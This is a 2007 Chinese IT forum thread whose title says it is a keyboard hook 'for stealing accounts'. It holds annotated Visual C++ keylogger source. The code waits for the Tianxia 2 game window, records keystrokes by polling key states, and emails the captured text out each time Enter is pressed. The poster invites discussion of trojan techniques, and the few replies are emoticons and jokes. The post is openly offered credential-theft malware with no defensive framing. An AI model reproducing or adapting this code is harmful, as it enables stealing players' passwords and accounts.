职业IT人-IT人生活圈

 找回密码
 成为会员
搜索
查看: 5113|回复: 4

VC键盘钩子,盗帐号用的(无DLL)

[复制链接]
梦段桥 发表于 2007-1-5 08:33 | 显示全部楼层 |阅读模式
本帖最后由 无处不在 于 2010-12-25 12:22 编辑

先说明一下:
这是个vc的无DLL的钩子 是我在网上找的 一段代码 我改了改自己用了 还加了很多注释 大家研究一下吧   
呵呵  把截取到的按建用邮件的方式发送出去 呵呵 欢迎交流木马技术 呵呵
  1. char *LowerCase[]={
  2. "b",
  3. "e",
  4. "[ESC]",
  5. "[F1]",
  6. "[F2]",
  7. "[F3]",
  8. "[F4]",
  9. "[F5]",
  10. "[F6]",
  11. "[F7]",
  12. "[F8]",
  13. "[F9]",
  14. "[F10]",
  15. "[F11]",
  16. "[F12]",
  17. "`",
  18. "1",
  19. "2",
  20. "3",
  21. "4",
  22. "5",
  23. "6",
  24. "7",
  25. "8",
  26. "9",
  27. "0",
  28. "-",
  29. "=",
  30. "[TAB]",
  31. "q",
  32. "w",
  33. "e",
  34. "r",
  35. "t",
  36. "y",
  37. "u",
  38. "i",
  39. "o",
  40. "p",
  41. "[",
  42. "]",
  43. "a",
  44. "s",
  45. "d",
  46. "f",
  47. "g",
  48. "h",
  49. "j",
  50. "k",
  51. "l",
  52. ";",
  53. "\'",
  54. "z",
  55. "x",
  56. "c",
  57. "v",
  58. "b",
  59. "n",
  60. "m",
  61. ",",
  62. ".",
  63. "/",
  64. "\\\\",
  65. "[CTRL]",
  66. "[WIN]",
  67. " ",
  68. "[WIN]",
  69. "[Print Screen]",
  70. "[Scroll Lock]",
  71. "[Insert]",
  72. "[Home]",
  73. "[PageUp]",
  74. "[Del]",
  75. "[End]",
  76. "[PageDown]",
  77. "[Left]",
  78. "[UP]",
  79. "[Right]",
  80. "[Down]",
  81. "[Num Lock]",
  82. "/",
  83. "*",
  84. "-",
  85. "+",
  86. "0",
  87. "1",
  88. "2",
  89. "3",
  90. "4",
  91. "5",
  92. "6",
  93. "7",
  94. "8",
  95. "9",
  96. ".",
  97. };[/color]
  98. [color=red]// Upper Case Key & Some Other Keys
  99. char *UpperCase[]={
  100. "b",
  101. "e",
  102. "[ESC]",
  103. "[F1]",
  104. "[F2]",
  105. "[F3]",
  106. "[F4]",
  107. "[F5]",
  108. "[F6]",
  109. "[F7]",
  110. "[F8]",
  111. "[F9]",
  112. "[F10]",
  113. "[F11]",
  114. "[F12]",
  115. "~",
  116. "!",
  117. "@",
  118. "#",
  119. "\\$",
  120. "%",
  121. "^",
  122. "&",
  123. "*",
  124. "(",
  125. ")",
  126. "_",
  127. "+",
  128. "[TAB]",
  129. "Q",
  130. "W",
  131. "E",
  132. "R",
  133. "T",
  134. "Y",
  135. "U",
  136. "I",
  137. "O",
  138. "P",
  139. "{",
  140. "}",
  141. "A",
  142. "S",
  143. "D",
  144. "F",
  145. "G",
  146. "H",
  147. "J",
  148. "K",
  149. "L",
  150. ":",
  151. "\\"",
  152. "Z",
  153. "X",
  154. "C",
  155. "V",
  156. "B",
  157. "N",
  158. "M",
  159. "<",
  160. ">",
  161. ".?",
  162. "│",
  163. "[CTRL]",
  164. "[WIN]",
  165. " ",
  166. "[WIN]",
  167. "[Print Screen]",
  168. "[Scroll Lock]",
  169. "[Insert]",
  170. "[Home]",
  171. "[PageUp]",
  172. "[Del]",
  173. "[End]",
  174. "[PageDown]",
  175. "[Left]",
  176. "[Up]",
  177. "[Right]",
  178. "[Down]",
  179. "[Num Lock]",
  180. "/",
  181. "*",
  182. "-",
  183. "+",
  184. "0",
  185. "1",
  186. "2",
  187. "3",
  188. "4",
  189. "5",
  190. "6",
  191. "7",
  192. "8",
  193. "9",
  194. ".",
  195. };[/color]
  196. [color=red]// Ascii Keys,Forget About It
  197. int SpecialKeys[]={
  198. 8,
  199. 13,
  200. 27,
  201. 112,
  202. 113,
  203. 114,
  204. 115,
  205. 116,
  206. 117,
  207. 118,
  208. 119,
  209. 120,
  210. 121,
  211. 122,
  212. 123,
  213. 192,
  214. 49,
  215. 50,
  216. 51,
  217. 52,
  218. 53,
  219. 54,
  220. 55,
  221. 56,
  222. 57,
  223. 48,
  224. 189,
  225. 187,
  226. 9,
  227. 81,
  228. 87,
  229. 69,
  230. 82,
  231. 84,
  232. 89,
  233. 85,
  234. 73,
  235. 79,
  236. 80,
  237. 219,
  238. 221,
  239. 65,
  240. 83,
  241. 68,
  242. 70,
  243. 71,
  244. 72,
  245. 74,
  246. 75,
  247. 76,
  248. 186,
  249. 222,
  250. 90,
  251. 88,
  252. 67,
  253. 86,
  254. 66,
  255. 78,
  256. 77,
  257. 188,
  258. 190,
  259. 191,
  260. 220,
  261. 17,
  262. 91,
  263. 32,
  264. 92,
  265. 44,
  266. 145,
  267. 45,
  268. 36,
  269. 33,
  270. 46,
  271. 35,
  272. 34,
  273. 37,
  274. 38,
  275. 39,
  276. 40,
  277. 144,
  278. 111,
  279. 106,
  280. 109,
  281. 107,
  282. 96,
  283. 97,
  284. 98,
  285. 99,
  286. 100,
  287. 101,
  288. 102,
  289. 103,
  290. 104,
  291. 105,
  292. 110,
  293. };[/color]
  294. [color=red]HWND PreviousFocus=NULL;[/color]
  295. [color=red]BOOL IsWindowsFocusChange();
  296. BOOL KeyLogger();[/color]
  297. [color=red]bool ceshi()
  298. {
  299. do{
  300.      
  301.    HWND hLogin=NULL,g_hQQLogin = NULL;
  302.          g_hQQLogin=FindWindowEx(NULL,NULL,"App","天下贰");
  303. //   hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 进入游戏");
  304.          if(g_hQQLogin!=0){
  305.     MessageBox(NULL,TEXT("检测到天下2已经运行并找到进入游戏button"),"对话框窗口的标题",MB_OK);
  306.        KeyLogger();
  307.    }
  308.            Sleep(1000);
  309.       
  310. }while(true);

  311.    
  312. return true;
  313. }[/color]
  314. [color=red]BOOL IsWindowsFocusChange()
  315. {
  316. HWND hFocus = GetForegroundWindow(); //取得一个句丙
  317. BOOL ReturnFlag = FALSE; // Declare The Return Flag
  318. if (hFocus != PreviousFocus)
  319. {
  320.   PreviousFocus = hFocus; // Save The Old Active Windos Focus
  321.   int WinLeng = GetWindowTextLength(hFocus); //取得窗口名称能的长度
  322.   char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The Caption
  323.   GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows\'s Caption
  324.   if (strlen(WindowCaption) > 0) // Really Get The Windows\'s Caption
  325.   {
  326.    //printf("\\r\\nThe Active Windows Title: %s\\r\\n",WindowCaption);
  327.    ReturnFlag=TRUE;
  328.   }
  329.   free(WindowCaption);
  330. }
  331. return ReturnFlag;
  332. }[/color]
  333. [color=red]BOOL KeyLogger()
  334. {
  335. int bKstate[256] = {0};
  336. int i,x;
  337. char KeyBuffer[600];
  338. int state;
  339. int shift; [/color]
  340. [color=red] memset(KeyBuffer,0,sizeof(KeyBuffer));[/color]
  341. [color=red] while(TRUE)
  342. {
  343.   Sleep(8);
  344.   //*************访问一个函数得到一个bool如果为真就输入一个值*****
  345.   /*if (IsWindowsFocusChange())
  346.   {
  347.    if (strlen(KeyBuffer) != 0) // Keys Are Pressed
  348.    {
  349.     //printf("%s\\r\\n",KeyBuffer); // Display The Keys Pressed
  350.     MessageBox(NULL,TEXT("KeyBuffer"),"",MB_OK);
  351.     memset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer
  352.    }
  353.   }*/
  354.         //***************************************************************
  355.   //********每循环一次就要判断92次是否按下了92其中一个***
  356.   for(i=0;i<92;i++)
  357.   {
  358.    shift = GetKeyState(VK_SHIFT); //判断是口按下了Shift
  359.    x = SpecialKeys[ i ]; //取得92个建中的当前一个键
  360.    if (GetAsyncKeyState(x) & 0x8000) // 如果真的按键了
  361.    {
  362.    
  363.        //*****按下了大写锁定没按shift键的即是按下了A-Z的任意键
  364.        if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))
  365.     {
  366.      bKstate[x] = 1; //用虚拟键值的数字作为数组的位置 并给值为1
  367.     }
  368.     //*****************************************************
  369.     //******按了大写锁定又按了shift即是按下了a-z的任意键
  370.    
  371.     else if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))
  372.     {
  373.      bKstate[x] = 2; //用虚拟键值的数字作为数组的位置 并给值为2
  374.     }
  375.     //************************************************
  376.    
  377.        else if (shift < 0) // 按下了shift键
  378.     {
  379.      bKstate[x] = 3; // A-Z
  380.     }
  381.        else
  382.      bKstate[x] = 4; //Lowercase a-z
  383.    }
  384.    else//这个是没有按键盘
  385.    {
  386.         
  387.     if (bKstate[x] != 0) // No Combination Keys Detected
  388.     {
  389.      state = bKstate[x]; // Retrieve The Current State
  390.      bKstate[x] = 0; // Reset The Current State
  391.      if (x == 8) //检测到删除键盘就删除其中元素
  392.      {
  393.       KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Then
  394.       continue; // Start A New Loop
  395.      }
  396.    
  397.       else if (strlen(KeyBuffer) > 550) // Buffer FULL
  398.      {
  399.         
  400.       memset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffer
  401.       continue; // Start A New Loop
  402.      }
  403.    
  404.      else if (x == 13) //如果输入的是enter就输出
  405.      {
  406.       if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter
  407.       {[/color]
  408. [color=red]                     continue;
  409.       }
  410.       
  411.       CString str=KeyBuffer;
  412.        //这里我我把截取到的东西用邮件的方式发送出
  413.       mail ml;
  414.       ml.sendmail(str);
  415.       memset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Enter
  416.       continue; // Start A New Loop
  417.      }
  418.   
  419.      else if ((state%2) == 1) //Must Be Upper Case Characters
  420.      {
  421.       strcat(KeyBuffer,UpperCase[ i ]); // Store The Key To Key Buffer
  422.      }
  423.      
  424.      else if ((state%2) == 0) // Must Be Lower Case Characters找到键盘对应的按建?
  425.      {
  426.       strcat(KeyBuffer,LowerCase[ i ]); // Store The Key To Key Buffer
  427.      }
  428.     }
  429.    }
  430.   }
  431. }
  432. return TRUE;
  433. }
复制代码
joe 发表于 2007-1-5 08:39 | 显示全部楼层
::19::
fjjno1 发表于 2007-2-6 13:35 | 显示全部楼层
::40::
cayean 发表于 2007-2-6 14:02 | 显示全部楼层
我怕了你梦断桥!
seazon 发表于 2007-2-10 13:24 | 显示全部楼层
我吐血~~~::12::
您需要登录后才可以回帖 登录 | 成为会员

本版积分规则

QQ|手机版|小黑屋|网站帮助|职业IT人-IT人生活圈 ( 粤ICP备12053935号-1 )|网站地图
本站文章版权归原发布者及原出处所有。内容为作者个人观点,并不代表本站赞同其观点和对其真实性负责,本站只提供参考并不构成任何投资及应用建议。本站是信息平台,网站上部分文章为转载,并不用于任何商业目的,我们已经尽可能的对作者和来源进行了通告,但是能力有限或疏忽造成漏登,请及时联系我们,我们将根据著作权人的要求立即更正或者删除有关内容。

GMT+8, 2024-4-29 16:35 , Processed in 0.130495 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表